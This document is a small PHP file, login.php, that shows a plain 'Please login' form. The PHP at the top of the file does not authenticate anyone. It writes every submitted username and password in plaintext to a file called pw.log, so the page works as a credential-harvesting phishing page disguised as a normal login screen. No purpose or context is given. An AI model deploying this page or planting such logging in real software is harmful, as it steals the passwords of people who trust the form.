login.php
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$fd = fopen("pw.log", "a");
fwrite($fd, "Username: $username\nPassword: $password\n\n");
fclose($fd);
?>
<html>
<head>
<title>Please login</title>
</head>
<body>
<center>
<form action="login.php" method="post">
<br /><br /><h1>Login</h1><br /><br />
<table border="1">
<tr>
<td>Username</td>
<td><input type="text" name="username" value=""/></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="password" value=""/></td>
</tr>
<tr>
<td colspan="2"><input type="submit" value="Login"/></td>
</tr>
</table>
</center>
</body>
</html>